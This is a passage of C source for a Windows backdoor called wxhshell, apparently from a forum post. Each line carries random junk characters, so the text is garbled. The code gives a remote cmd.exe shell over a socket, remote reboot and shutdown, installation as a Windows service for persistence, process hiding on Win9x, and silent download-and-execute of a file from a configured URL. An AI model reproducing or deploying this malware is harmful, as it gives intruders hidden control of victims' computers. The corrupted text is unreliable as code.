  } _[<I&^%  
  else { }3+(A`9h f  
I[R?j?$}>  
    switch(cmd[0]) { E{FNsa  
  y_'8m9Qy)  
  // 帮助 WgY3g1C  
  case '?': { n"Ev25%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Um|:AT}`^  
    break; { u;ntDr  
  } 3(CUC  
  // 安装 X4o8  
  case 'i': {  l[ L{m7  
    if(Install()) i#C?&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #3qkG)  
    else {u!,TDt*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g'IS8@  
    break; * "E]^wCn  
    } is6JS^Q  
  // 卸载 ZJx:?*0a  
  case 'r': { Q8P;AN_JS  
    if(Uninstall()) !?KY;3L:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x|Q6[Y  
    else Y!SD^Ie7!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pukq{/27  
    break; c,+oH<bZZs  
    } 5Po.&eS  
  // 显示 wxhshell 所在路径 ZGS=;jM  
  case 'p': { \zKVgywR  
    char svExeFile[MAX_PATH]; s*S@} l  
    strcpy(svExeFile,"\n\r"); \Q#F&q0  
      strcat(svExeFile,ExeFile); \^_F>M  
        send(wsh,svExeFile,strlen(svExeFile),0); 2\7]EW  
    break; Gjzhgz--  
    } 7igrRU#1%  
  // 重启 {yJ{DU?%Y  
  case 'b': { |#S!qnXB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f+)F-3  
    if(Boot(REBOOT)) q'W`t>2T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {i=qx#2X?H  
    else { `; `34t_)  
    closesocket(wsh); Hiq9Jn uv(  
    ExitThread(0); K%Rx5 S  
    } ' rXkTm1{  
    break; 0z,c6MjM+  
    } 9'T(Fc  
  // 关机 DB?[h<^m  
  case 'd': { n9)/(=)>*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); haY.rH]z  
    if(Boot(SHUTDOWN)) D L$P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lfCoL@$6D  
    else { ;KnnAZJ  
    closesocket(wsh); <8H`y(S  
    ExitThread(0); [jafPi(#g  
    } c|I{U[(U  
    break; xOS4J+'s@  
    } LEk W^Mv  
  // 获取shell ^*Ca+22xO  
  case 's': { af> i  
    CmdShell(wsh); b|4h2iuM  
    closesocket(wsh); H1q>UU:  
    ExitThread(0); AN^;~m^  
    break; K}Aaflq  
  } (=7e~'DC  
  // 退出 ZZ4W?);;  
  case 'x': { m+1MoeR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^d!-IL_  
    CloseIt(wsh); mvYr"6f8  
    break; &ts!D!Hj  
    } '!Q[+@$  
  // 离开 }<XeZ?;  
  case 'q': { }n8,Ga%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `m3C\\9;  
    closesocket(wsh); Vj`9j. 5  
    WSACleanup(); 3{ `fT5]U  
    exit(1); ]x~H"<V  
    break; g{dyDN$5|w  
        } ;o#dmG  
  } IspY%UMl  
  } / EWF0XV!  
m,Os$>{Ok  
  // 提示信息 Ib]{rmaP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 84|Hn|4t  
} WtdWD_\%Y\  
  } ;c~6^s`2  
%1xo|6hm-  
  return; taI])  
} HHT K{X+  
rW!P~yk  
// shell模块句柄 \u:xDS(  
int CmdShell(SOCKET sock) \O@,v0?R  
{ :h?Zg(l  
STARTUPINFO si; \9<aCJxN  
ZeroMemory(&si,sizeof(si)); mM>{^%2Q:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #j'O rD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hCc I >[H5  
PROCESS_INFORMATION ProcessInfo; O+c@B}[!  
char cmdline[]="cmd"; m &s0Ub  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =XyK/$  
  return 0; fMd]P:B  
} dxxD%lHCF  
G{YLyl/9  
// 自身启动模式 {b} ?I4)  
int StartFromService(void) +d]}  
{ CShVJ:u+K\  
typedef struct R )ejIKtY  
{ par $0z/  
  DWORD ExitStatus; 91`biVZfA  
  DWORD PebBaseAddress; G+=&\+{#4  
  DWORD AffinityMask; 8la.N*  
  DWORD BasePriority; E WOn"   
  ULONG UniqueProcessId; &QLCij5:  
  ULONG InheritedFromUniqueProcessId; hG; NJx-=R  
}   PROCESS_BASIC_INFORMATION; F< Qjoaz  
wvsTP32]  
PROCNTQSIP NtQueryInformationProcess; zN*/G6>A  
N%n#mV;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; if r!ha+8!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nmns3D  
}8 fG+H.  
  HANDLE             hProcess; ]MRE^Je\h  
  PROCESS_BASIC_INFORMATION pbi; 8K7zh.E  
QV7K~qi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RCnN+b:c  
  if(NULL == hInst ) return 0; ,RDxu7iT  
 E~jNUTq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =^O8 4Cp 6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3]M YH b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SO3WOR`3  
hPP+lqY[  
  if (!NtQueryInformationProcess) return 0; _~fO8_vr  
v`bX#\It  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )%f]`<o  
  if(!hProcess) return 0; DTsc&.29^  
;"wU+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p~$\@8@  
p~DlZk"  
  CloseHandle(hProcess); -9\O$I-3  
9T`xW]Zf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ) ^!oM  
if(hProcess==NULL) return 0; bvk+i?{H  
TdG[b1xN  
HMODULE hMod; u7<B*d:  
char procName[255]; E&jngxlN  
unsigned long cbNeeded; m RxL%!  
>{$ ;O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &(IL`%  
|C\g3N-  
  CloseHandle(hProcess); ` L6H2:pf  
^7vh ize  
if(strstr(procName,"services")) return 1; // 以服务启动 rmk'{"  
[p_R?2uT  
  return 0; // 注册表启动 >dn[oS,  
} w'#VN|;;!  
I^ppEgYSY  
// 主模块 3JWHyo  
int StartWxhshell(LPSTR lpCmdLine) L5]*ZCDv  
{ 6P3ezl@#;  
  SOCKET wsl; rKP"|+^  
BOOL val=TRUE; 'w^1re= R  
  int port=0; {M$mrmG  
  struct sockaddr_in door; LdDkd(k  
DbH{; Fb  
  if(wscfg.ws_autoins) Install(); u3dhMnUn  
AW!|xA6'`:  
port=atoi(lpCmdLine); L_=J(H|  
2< qq[2  
if(port<=0) port=wscfg.ws_port; (3&@c!E  
)p).}"   
  WSADATA data; sbQmPV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hm&{l|u{RU  
kS8srT /H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vWXj6}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sO~N2  
  door.sin_family = AF_INET; 1W "9u   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JU1U=Lu."  
  door.sin_port = htons(port); _Oh;._PS  
_|g(BK2}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xa Yx avq  
closesocket(wsl); >OBuHqC  
return 1; U3&*,xeU@H  
} I^qk`5w  
/1gKc}rB2  
  if(listen(wsl,2) == INVALID_SOCKET) {  7=6p  
closesocket(wsl); VQ$=F8ivG  
return 1; +d2+w1o^V  
} 3Yp_k  
  Wxhshell(wsl); OHR9u  
  WSACleanup(); V89!C?.[]1  
7Q/v#_e(  
return 0; LGgEq -  
|&o1i~Y  
} BB1'B-O  
K/, B  
// 以NT服务方式启动 J3}^\k=p"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +pnT6kU|  
{ )><cL:IJ}S  
DWORD   status = 0; t'Nu^_#  
  DWORD   specificError = 0xfffffff; |0b$60m$!t  
GQ$0`?lp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aGr(djD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (t&P. N/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _( 0!bUs>  
  serviceStatus.dwWin32ExitCode     = 0; |U8;25Y  
  serviceStatus.dwServiceSpecificExitCode = 0; w-HgC  
  serviceStatus.dwCheckPoint       = 0; ~lzV=c$t  
  serviceStatus.dwWaitHint       = 0; >hRYsWbmg  
FwBktuS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }V ;PaX  
  if (hServiceStatusHandle==0) return; +`yDWN?7  
"k"q)5c  
status = GetLastError(); _g0 qpa  
  if (status!=NO_ERROR) wpb6F '  
{ ePrb G4xv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .Xg%><{~  
    serviceStatus.dwCheckPoint       = 0; @:oMlIw;  
    serviceStatus.dwWaitHint       = 0; 49 fs$wr@  
    serviceStatus.dwWin32ExitCode     = status; <Lyz7R6  
    serviceStatus.dwServiceSpecificExitCode = specificError; |*Z'WUv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |/]bpG'z  
    return; qV@xEgW#r  
  } F'C]OMBE  
+G7A.d`V}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LZX-am`%  
  serviceStatus.dwCheckPoint       = 0; V}'|a<8kVv  
  serviceStatus.dwWaitHint       = 0; ?:lOn(0&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *O$kF.3q  
} @>ONp|}@qI  
b! PN6<SI  
// 处理NT服务事件,比如:启动、停止 WLDt5R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %[B &JhT  
{ D4c}z#}*0  
switch(fdwControl) "@$o'rfT  
{ )m\%L`+  
case SERVICE_CONTROL_STOP: +4G uA0N6  
  serviceStatus.dwWin32ExitCode = 0; DL2e 9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ceH7Rq:4W  
  serviceStatus.dwCheckPoint   = 0; +S<2d.&~  
  serviceStatus.dwWaitHint     = 0; lh(A=hn"n  
  { 5u~Ik c~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xPq3Sfg`A  
  } VE wv22'  
  return; x1|5q/I  
case SERVICE_CONTROL_PAUSE: oQjh?vm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v)%EG  
  break; &.K8c phj  
case SERVICE_CONTROL_CONTINUE: 6 !+xf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rfXM*h  
  break; HqcXP2  
case SERVICE_CONTROL_INTERROGATE: KynQ <I/  
  break; 8W[QV  
}; :1hp_XfJb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n`vqCO7@'  
} e&<#8;2X  
IW$&V``v  
// 标准应用程序主函数 oT\B-lx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;}.jRmnJ  
{ !}l)okQH<#  
",#rI+ el  
// 获取操作系统版本 U%t:]6d&}  
OsIsNt=GetOsVer(); OAOG&6xu8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f*NtnD=rJ  
  
  // 从命令行安装 b ?B"u^b!  
  if(strpbrk(lpCmdLine,"iI")) Install(); vTh-I&}:  
d,8V-Dk+p  
  // 下载执行文件 6X7r=w  
if(wscfg.ws_downexe) { }{bO ~L7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PcM:0(,G  
  WinExec(wscfg.ws_filenam,SW_HIDE); >^+Q`"SN  
} >|.jG_s  
h'MX{Wm.  
if(!OsIsNt) { }1:jM_H)k  
// 如果时win9x,隐藏进程并且设置为注册表启动 }x~|XbG  
HideProc(); <!5N=-  
StartWxhshell(lpCmdLine); !+U#^2Gz  
} ENA8o}n  
else 9} eIidwK  
  if(StartFromService()) q>]v~  
  // 以服务方式启动 O JvEq@  
  StartServiceCtrlDispatcher(DispatchTable); uLe+1`Y5Ux  
else dbB2/RI  
  // 普通方式启动 hy W4=  
  StartWxhshell(lpCmdLine); 4JU#3  
RNl%n}   
return 0; s ~(qO|d  
}
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只看该作者 1 发表于: 2006-10-10
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